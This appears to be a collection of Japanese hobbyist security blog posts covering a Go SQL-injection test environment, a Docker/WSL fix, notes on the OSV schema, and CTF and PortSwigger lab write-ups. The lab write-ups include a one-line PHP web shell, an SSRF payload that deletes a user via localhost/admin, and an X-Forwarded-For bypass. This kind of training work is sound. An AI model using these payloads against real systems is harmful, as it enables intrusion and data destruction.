Go言語でMySQLのSQLインジェクション検証環境を作った
SQLインジェクションの検証環境が欲しくて、ついでにGo言語とGoのWebアプリケーションフレームワークEchoも触っておくかということで↓を作りました。ぜんぜん大したものじゃないんですが、日記として。
今はシンプルにJSONを返すだけですが、Reactでも学んでフロントもちゃんと作ろうかなと思います。Echoの機能も初歩の初歩しかやってないので、がんばります。
Echoを使うにあたっては、ISUCON12予選のコードを参考にしました。
以下、Go言語ではじめて何か作ったメモとか感想:
- Go言語のパッケージやモジュールの概念について
あとずっとPythonしか書いてこなかったので、型との付き合い方みたいなものに慣れていないと感じました。やることはあんまり変わらない(使いたい関数の引数と戻り値、そしてそれぞれの型を確認して使う)はずなんですが。
Docker Desktop for Windowsが「WSL_E_DISTRO_NOT_FOUND」というエラーを出していつまでも起動しない
はじめに
Docker Desktop for Windowsが動かなくて嫌な思いをしたのでメモです。
結論
ログファイルを見たら、 WSL_E_DISTRO_NOT_FOUND
というエラーが出ていた。ググったら以下の記事が出ていて、これの内容に従った。
こうなってたところを、
PS C:\WINDOWS\system32> wsl -l -v NAME STATE VERSION * Ubuntu-22.04 Running 2 docker-desktop-data Stopped 2 docker-desktop Uninstalling 2 PS C:\WINDOWS\system32>
こうして、
PS C:\WINDOWS\system32> wsl --unregister docker-desktop 登録解除。 この操作を正しく終了しました。 PS C:\WINDOWS\system32> PS C:\WINDOWS\system32> PS C:\WINDOWS\system32> PS C:\WINDOWS\system32> wsl -l -v NAME STATE VERSION * Ubuntu-22.04 Running 2 docker-desktop-data Stopped 2 PS C:\WINDOWS\system32>
Docker Desktop for Windowsを再起動したら直りました。
PS C:\WINDOWS\system32> wsl -l -v NAME STATE VERSION * Ubuntu-22.04 Running 2 docker-desktop Running 2 docker-desktop-data Running 2 PS C:\WINDOWS\system32>
なんだったん?マジで。
OSVについて調べてみた
はじめに
Googleがosv-scannerというリポジトリを公開しています。どうやら脆弱性スキャナのようです。
これを使ってみる前に、OSVとかSBOMとか、知らなかった概念について先に掘り下げて置こうと思います。この記事ではOSVについて見ていきます。
OSV
トップページ曰く「A distributed vulnerability database for Open Source」とのこと。
Aboutでは、OSVは以下のものから構成されると説明しています。
- OSV Schemaという脆弱性を記述するためのデータフォーマット
- OSV Schemaで記述された脆弱性情報を集約、参照するためのインフラストラクチャー
- サイトそのもの
- API
- ツール(osv-scannerもここに含まれる?)
OSV Schema
OSV Schemaがどんな感じか見てみることにします。
Aboutによると、OSV Schema策定にあたっての課題意識のひとつとして、各エコシステムでのパッケージの命名およびバージョニングとCPEを照合するのって難しいよね、というのがあるようです。
Enforces version specification that precisely matches naming and versioning schemes used in actual open source package ecosystems. For instance, matching a vulnerability such as a CVE to a package name and set of versions in a package manager is difficult to do in an automated way using existing mechanisms such as CPEs.
CPEという仕組み自体が結構きついよね、という話を以前フォロワーさんとした記憶があって、掘り返してみたらやっぱり嘆いてました。もっとも、今見返すと無意識的にプロプライエタリな製品について言及していたと思うので、このOSVのスコープ外ですかね。なんてったって「Open Source Vulnerabilities」だし。
NISTのCPE Dictionaryを見ると、製品によって充足ぶりにばらつきがあるのはなんで……?やる気……?
— shinobe179 (@shinobe179) 2020年10月7日
OSV Schemaは、以下のような情報を含んでいます。
- 脆弱性情報の公開日や更新日
- 要約と詳細
- 影響を受けるパッケージ
- 参考URL
- 重大度
severity
重大度を示す severity[]
は type
というフィールドを持ち、これは執筆時点で CVSS_V2
もしくは CVSS_V3
の値をとることが想定されています。
そのうちEPSSとかも入ってくるんですかね?
また、このスキーマはありものの脆弱性情報の効率的な記述方法を提案するものであって、CVSSにとって代わるような新たな脆弱性評価手法を提案するものではないことが分かります。
affected
各パッケージへの影響範囲を示す affected[]
は、以下の情報から構成されます。
- package
- ranges
- versions
- ecosystem_specific
- database_specific
package
脆弱性の影響を受けるパッケージに関する情報です。以下の値を持ちます。
purl-specというのは初耳でした。これもエコシステムによってパッケージの命名規則を統一することで参照しやすくしようというのがねらいのようです。
ranges
以下の値を持ちます。
- type:
indtoduced
およびfixed
で使うバージョンの表現方法。SEMVER
: SemVer 2.0.0 に則ったバージョン表記。ECOSYSTEM
: 各エコシステムに則ったバージョン表記。GIT
: Gitのコミットハッシュ。
- repo: パッケージのコードリポジトリのURL。
affected[].ranges[].type
がGIT
の時は必須。 - events[]: 脆弱性の各イベント(発生、修正など)に関する情報。
versions
脆弱性があるパッケージバージョンのリストです。 affected[].ranges
と役割が重複している感じがしますが、脆弱性があるバージョンを列挙してあるとぱっと見分かりやすいよねぐらいのフィールドなんだと勝手に解釈しています。
例えば、Log4Shellに該当するJSONファイルを見てみると、 affected.version
がありません。
しかしosv.devで同じ脆弱性のページを見てみると、(JSONに affected.version
はないのに)Affected versionsとして値がマッピングされていることが分かります。
後述する参考実装でも、rangesとversionsの両方を評価する実装になっているので、やはり意味合い的に重複するものみたいです。
affected[] による脆弱性評価
OSVで記述された脆弱性情報を用いて脆弱性評価をするコードの参考実装が紹介されていました。メインルーチンである IsVulnerable()
だけ読んでみると、以下のようなロジックになっています。
- 検査対象であるパッケージが
affected.package
と同一だったら次のチェックをする- 検査対象バージョンが
affected.versions
に含まれているか、affected.ranges
に含まれていたら脆弱性あり
- 検査対象バージョンが
- いずれにも該当しなければ脆弱性なし
func IsVulnerable(pkg, v, osv) for affected in osv.affected if affected.package == pkg if IncludedInVersions(v, affected.versions) || IncludedInRanges(v, affected.ranges) return true return false
疑問点
参考実装では pkg
と osv.affected[].package
を直接比較していますが、 これを成立させるために pkg
をOSV形式に直すのって実は地道な努力が必要だったりしないか?と思うなどしました。それこそosv-scannerのソースを読めば解決しそうですが、それはまた次のお話ということで。
GCPの監査ツール「Forseti Security」を追う(第1回「挫折」)
先日、TrivyでAWSのセキュリティチェックができるようになりましたね(参考:クラスメソッドさんのブログ)。
GCP(Google Cloudと呼ぶ人もいるらしい)も近日対応予定!って感じみたいですが、直近さくっとチェックしたいニーズがあったので調べたところ、まずSpotifyが開発していたらしい、gcp-auditというリポジトリに辿り着きました。しかし、すでに開発が止まっている模様。
gcp-auditのREADMEから、Forseti Securityというツールに行き着きました。
Aboutをざっと読んだ感じ、GCPに特化したCloud Custodianという印象です。Inventoryを収集し、ScannerによってIAMやBacket ACLなどを監査、Enforcerで設定を強制し、Explaoinで可視化する。うーん、Trivyのセキュリティチェックとは、ちょっと毛色が違いそうです。
何はともあれ触ってみようということで、以下に取り組んでみます。
OPEN IN GOOGLE CLOUD SHELLをクリックすると、何やらチュートリアルっぽいものが始まりました。 GCPは進んでますね。
ちょっと進んだところでOrganization IDというものを要求されたのですが、なんじゃそれとなって断念。きっとAWSのArganizationと同じようなものだと思うんですが、私の体力とGCP力が足りず。また気が向いたらリベンジします。
Web Security Academy「Remote code execution via web shell upload」解いてみた
はじめに
Web Security Academyの「Remote code execution via web shell upload」解いてみました。
難易度的に簡単なものが続いているのはご容赦ください。。 あと、ウェブシェルって色々あると思うんですが、使いやすいもの、多機能なもの、見た目がいい(かわいい)ものなど、おすすめがあったら教えてください。
Writeup
前提情報
- ファイルアップロード機能に脆弱性あり(アップロードしたファイルを検証しない)
Walkthrough
以下のような簡単なウェブシェルを用意しておく。
<?php echo system($_GET["cmd"]) ?>
マイページのアップロード機能で、ウェブシェルをアップロードする。 本来アバターの画像をアップロードするための機能なので、アバター画像を別タブで開くとウェブシェルが開く。
あとは cat /carlos/secret
すればいい……はずが、なぜか同名ファイルが存在しているみたいで、同じ内容が二度表示される点に注意。
taskctf2022 Writeup
はじめに
task4233さんが開催したtaskctf2022に参加していました。 問題数、難易度、期間全てが絶妙で楽しかったです。チュートリアルを置くお人柄も素敵です。ありがとうございました。そしてお誕生日おめでとうございました。:tada:
誕生日CTFことtaskctfは今週の土曜日開催です
— task4233 (@task4233) 2022年12月1日
初心者〜中級者向けの趣味CTFになります
もし良ければご参加ください!#taskctf https://t.co/EQ8WiRTQQC
私はと言いますと、3問残し、ヒント2つ見て25位でした。ヒントを見た問題はfirstとanti_detectionで、どっちも解けませんでした*1。
以下、解けた問題だけWriteup書いていきます(Tutorial除く)。解けなかった問題は、他の方や公式Writeupを読んで精進します。
osint
welcome
「taskctf 2019 writeup」とググって出しました。
ramen
Googleレンズで検索したら店名が出てきました。
kofun
まず画像を見て思ったことは以下のとおりです。
- 古墳の周りはなんか森っぽい
- 入口の上に木が生えてたっぽい
とりあえず、from:task4233 古墳
という条件でツイート検索をしました。
問題の画像に加えて、埴輪がこっち?を見てるシュールな画像が添付されていました。
お友達と一緒に行ったとのことなので、お友達がヒントになるようなツイートをしてるかもと思って、このツイート前後に古墳についてつぶやいているツイートを検索しました。結果、狙ったものはヒットしなかったものの、たまたま埴輪の画像と同じ場所っぽい画像を添付しているツイートが見つかりました。このあたりが龍角寺古墳群であることが分かりました。
ただ、「龍角寺n号墳」という感じですごくたくさんあるようです。Googleマップでしらみ潰しに見ようにも、きりがありません。
「千葉 古墳」などでGoogle検索していたら、有志の方が公開している、県毎に古墳をリストアップしたGoogleマイマップに辿り着きました。
千葉県の古墳リストを上から見ていると、どうやら「龍角寺111号墳」が森の中にあるっぽいです。問題の入口の周囲の雰囲気と近い気がして、「龍角寺111号墳」でGoogle検索すると、以下の画像が見つかりました。木の位置が問題の画像とドンピシャです。
このサイトから古墳名を確認してflag投げました。インターネットに感謝。
douro
画像を見て思ったこと。
- 右側通行っぽいのでたぶんアメリカ
- ヤシの木みたいなのが生えてる。マイアミ?(偏見)
- 信号が特徴的な気がする
ぜったい無理やん
最初マイアミを見てたんですが、どうも信号の感じが違います。
早々と方針を切り替えて「アメリカ 十字路」で画像検索していたら、かなり似てる信号が写っている画像が見つかりました。
この記事からはここがどこなのか分からなかったので、更に画像検索すると以下の記事にたどり着きました。Google検索でざっくり読んだ感じ、道の舗装か何かを頑張ったんですかね?とにかく、この似た感じの道路はIrvine Center Driveみたいです。
GoogleマップでIrvine Center Driveにある十字路をひたすら見ていって、ここに辿り着きました。インターネットに感謝。
全ての問題に言えることですが、実際Writeupで書いているほどスムーズには進んでいないです。特にこの問題に関しては、from:task4233 旅行
とか from:task4233 留学
、from:task4233 渡航
、from:task4233 パスポート
、from:task4233 海外
などなど、task4233さんのそれっぽいツイートを延々探す時間があり、我ながらだいぶキモかったです*2。
web
robots
TryHackMeか何かでrobots.txtに一杯食わされてからというもの、Web問は最初にrobots.txtを見るようにしていて。今回は問題名もそのものズバリだったので、確認すると/admin/flag
というパスがあることが分かりました。
アクセスすると、internalからでないとアクセスできない様子。Burp Suiteを使って X-Forwarded-For
ヘッダーを追加し、ローカルIPアドレス帯を一通り試した後127.0.0.1
でflagが見られました。
misc
ransomware
暗号化スクリプトと、暗号化されたflagが提供されています。 暗号化のアルゴリズムは、C2サーバーから取得したkey(int)と、各文字のXORをとっているようです。 C2サーバーはすでに公開されておらず、以下がポイントっぽいと思いました。
- 復号はどうやるのか?
- keyは何だったのか?
まず復号については、XORは2回演算したら元に戻るみたいです。
keyについては、とりあえずパワー回答しようと思って、以下のスクリプトを書きました。
key = 0 data = None while True: with open('taskctf_flag.txt.encrypted', 'r') as f: data = f.read() plain = "" for ch in data: plain += chr(ord(ch) ^ key) if 'taskctf' in plain: print(f'key: {key}, flag: {plain}') else: key += 1 data = None
これを動かして、無事復号できました。
key: 17772, flag: taskctf{x0r_1s_e4sy_70_1mplemen7}
Web Security Academy「Basic SSRF against the local server」解いてみた
はじめに
PortSwigger Web Security Academyの「Basic SSRF against the local server」を解きました。
Writeup
事前情報
- 在庫確認機能は、内部システムにデータをフェッチする
Walkthrough
商品ページを見て、 在庫チェック機能のリクエストをプロキシして見てみると、POSTパラメータとしてフェッチ先のURLを指定している。
stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1
リクエストをRepeaterに送って、http://localhost/admin
にしてみると、管理画面のHTMLが閲覧できる。
<section> <h1>Users</h1> <div> <span>carlos - </span> <a href="/admin/delete?username=carlos">Delete</a> </div> <div> <span>wiener - </span> <a href="/admin/delete?username=wiener">Delete</a> </div> </section>
http://loaclhost/admin/delete?username=carlos
にリクエストを送ったらcarlosを消せる。
stockApi=http%3a%2f%2flocalhost%2fadmin%2fdelete%3fusername%3dcarlos
Inspector(Repeater画面の右側に出てくるペイン)を使うと、エンコードなどを自動でやってくれるので便利。Decodedfromのほうを編集する。